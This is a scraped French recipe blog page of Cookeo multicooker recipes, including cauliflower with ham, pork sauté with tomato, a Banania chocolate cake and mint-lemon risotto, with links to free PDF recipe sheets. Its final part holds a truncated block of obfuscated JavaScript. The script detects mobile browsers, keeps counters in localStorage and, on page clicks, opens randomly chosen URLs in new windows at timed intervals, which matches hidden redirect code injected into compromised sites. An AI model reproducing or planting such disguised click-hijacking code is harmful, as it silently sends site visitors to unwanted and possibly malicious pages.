Ingrédients pour 4 personnes

600 g de duo de fleurettes congelé

200 g de dés de jambon

100 g d’oignons congelés

2 gousses d’ail

1 cube de bouillon de bœuf

Sel

Poivre

Huile d’olive

300 ml d’eau

Préparation de ce duo fleurettes

Mode dorer

Faites revenir les oignons  et l’ail découpé en morceaux dans de l’huile d’olive. Ajoutez les fleurettes, les dés de jambon  et le cube de bouillon de boeuf.

Salez et poivrez. Versez l’eau .

Mode cuisson rapide ou  cuisson sous pression

Programmez  5 mn . Servez chaud.
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[youtube https://www.youtube.com/watch?v=5EmmNqC7Wps]
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Téléchargez gratuitement cette fiche recette cookeo de risotto menthe citron en cliquant sur l’image ou ICI
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Afin de facilter encore vos recherches sur les recettes cookeo vous trouverez dans cet article 14 PDF gratuits recettes cookeo .

Ce sont des PDF que j’ai constitués et publiés dans ma page cookerecettes ou mon blog Sport et vie Pratique . Alors cet article apparait comme un récapitulatif .

Les PDF se téléchargent gratuitement en cliquant sur l’image tout simplement .

J’espère que vous trouverez vote bonheur .

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Téléchargez gratuitement cette fiche cookeo de sauté de porc à la tomate en cliquant sur l’image ou ICI

[youtube https://www.youtube.com/watch?v=JqRbCbZe77Q]

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Téléchargez gratuitement la fiche de cette recette cookeo  poireaux à la moutarde en cliquand sur l’image ou ICI

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Ingrédients pour 4 personnes :

500 g de sauté de porc en morceaux

4 tomates

1 cube de bouillon de boeuf

100 d’oignons congelés

1 verre de vin blanc

3 cuillères à soupe de concentré de tomates

Huile d’olive

Sel et poivre

200 ml d’eau

Préparation de ce sauté de porc tomate 

Mode dorer

Ajoutez de l’huile dans la cuve et faites dorer les oignons .

Ajoutez le sauté de porc en morceaux .

Ajoutez les tomates ,le verre de vin blanc. Poivrez .Emiettez le cube de bouillon de bœuf.

Versez 200 ml d’eau ,ajoutez 2 cuillères à soupe de concentré de tomates

Mode cuisson rapide ou cuisson sous pression

Programmez 13  mn

En fin de cuisson ajoutez une 3è cuillères à soupe de concentré de tomates . Servez chaud .
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//
[youtube https://www.youtube.com/watch?v=JqRbCbZe77Q]
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Gâteau chocolat Banania au cookeo 

Ca y est je me suis lancé dans la confection des gâteaux au  cookeo . Le résultat est super sympa ,je vous laisse découvrir .

Ingrédients

200 g de farine

200 g de chocolat en poudre Banania

50 g de sucre en poudre

1 sachet de levure

100 g de margarine

300 ml de lait

Préparation

Dans un saladier versez la farine  puis le lait. Fouettez les ingrédients .

Faites fondre la margarine au micro-ondes ou dans une casserole.

Mélangez ensuite avec le chocolat en poudre Banania. Incorporez la margarine fondue puis le sucre en poudre .

Ajoutez maintenant le sachet de levure.

Versez 200 ml d’eau dans la cuve . Déposez le panier vapeur , beurrer le moule .

Versez la préparation dans le moule puis le moule dans le panier vapeur.

Passez en mode cuisson rapide ou cuisson sous pression 18 mn .

Laissez refroidir puis démoulez votre gâteau .

PLUS DE DESSERTS ICI 

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Livre recettes desserts cookeo : 133 fiches

Bon bien voilà j’ai l’impression que la communauté cookeo est très gourmande. Souvent sur ma page est demandée la confection de desserts. Alors j’ai glané sur le net quelques recettes de desserts  cookeo et comme j’en avais déjà réalisées j’ai pu vous concocter ce petit livre recettes desserts. cookeo .C’est 133 recettes de desserts. Un début mais pas une fin car je compte bien étoffer ce livre car des desserts le cookeo sait en faire .

Vous pouvez téléchargez ce  livre recettes en cliquant sur l’image ou ICI .

Allez je vous laisse car je vous mijote des surprises . A bientôt.

Pour 820 recettes c’est ICI
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Ingrédients pour 4 personnes

300 g de riz

2 oignons

1 cube de bouillon de volaille

4 citrons

2 tasses de menthe fraîche

Sel

Poivre

Préparation de ce risotto menthe citron

Coupez vos oignons en morceaux . Pressez les citrons et réservez le jus .

Lavez et ciselez la menthe fraîche.

Mode dorer

Faites revenir dans l’huile d’olive les oignons que vous avez coupés en morceaux.

Ajoutez le riz . Laissez brunir le riz.

Versez le jus de citron . Emiettez le cube de volaille .  Ajoutez la menthe fraîche ciselée .Versez de l’eau pour recouvrir les ingrédients .

Salez et poivrez .

Mode cuisson rapide ou cuisson sous pression

Programmer 6 mn (le temps indiqué sur le paquet de riz divisé par 2)

Ouvrez votre cookeo mélangez et servez chaud .

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Côtes de porc sauce charcutière

Ingrédients pour 3 personnes

3  côtes de porc
2 échalotes
1 verre de vin blanc

1 cuillère à soupe de concentré de tomate
1 cuillerée à soupe de moutarde
Huile d’olive
Persil haché

200 ml d’eau

1 cube de bouillon de boeuf
Sel

Poivre

Farine ou maizena

Préparation

Mode dorer

Versez de l’huile dans la cuve puis faites revenir les échalotes que vous avez hachées puis les côtes de porc sur chaque face .

Versez le verre de vin blanc , 200 ml d’eau avec le cube de bouillon de bœuf.

Ajoutez le persil , la cuillère à soupe de moutarde et de concentré de tomates.

Mélangez les ingrédients.

Mode cuisson rapide ou cuisson sous pression

Programmer 15 mn de cuisson

Repassez en mode dorer

Ajoutez 2 cuillères à soupe de  farine et laissez épaissir votre sauce . Servez chaud.

1000 RECETTES COOKEO ICI 

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Saucisses chou-fleur 

Ingrédients pour 2 personnes

1 saucisse

2 cuillères à soupe de persil haché

2 gousses d’ail hachées

1 petit verre de vin blanc

Sel

Poivre

Huile d’olive

400 g de fleurettes de chou-fleur congelées

200 ml d’eau

Préparation

Versez de l’huile d’olive dans la cuve pour faire revenir l’ail haché. Ajoutez tout de suite les morceaux de saucisses.

Ajoutez ensuite les fleurettes ,le verre de vin blanc.

Versez 2 cuillères à soupe de persil .Ajoutez 200 ml d’eau .

Mode cuisson rapide ou sous pression

Programmez 5 mn .

Servez chaud .

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Téléchargez gratuitement cette fiche recette cookeo de poireaux à l’orientale en cliquant sur l’image ou ICI

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Ratatouille express aux dés de jambon

Ingrédients pour 4 personnes

1 sachet de légumes pour ratatouille congelés

250 g de dés de jambon

2 cuillères à soupe

Concentré de tomates

1 cube de bouillon de bœuf

1 verre de vin blanc

200 ml d’eau

Sel

Poivre

1 cuillère à soupe de moutarde

2 cuillères à soupe de concentré de tomates

Préparation

Ajoutez les ingrédients un à un . Commencez par déposer les légumes pour ratatouille puis les dès de jambon .

Emiettez un cube de bouillon de bœuf et versez le verre de vin blanc. Puis versez 200 ml d’eau .Mélangez l’ensemble.

Salez et poivrez .

Ajoute une cuillère à soupe de moutarde et 2 cuillères à soupe de concentré de tomates .Mélangez à  nouveau .

Passez en mode cuisson rapide ou cuisson sous pression et programmez  10 mn .

Ouvrez votre appareil et servez chaud rectifier l’assaisonnement si  nécessaire .

820 RECETTES COOKEO  ICI

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Une fiche recette cookeo de clémentine menthe pignons .Vous pouvez imprimez cette fiche ou créer un PDF ;


// n>

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());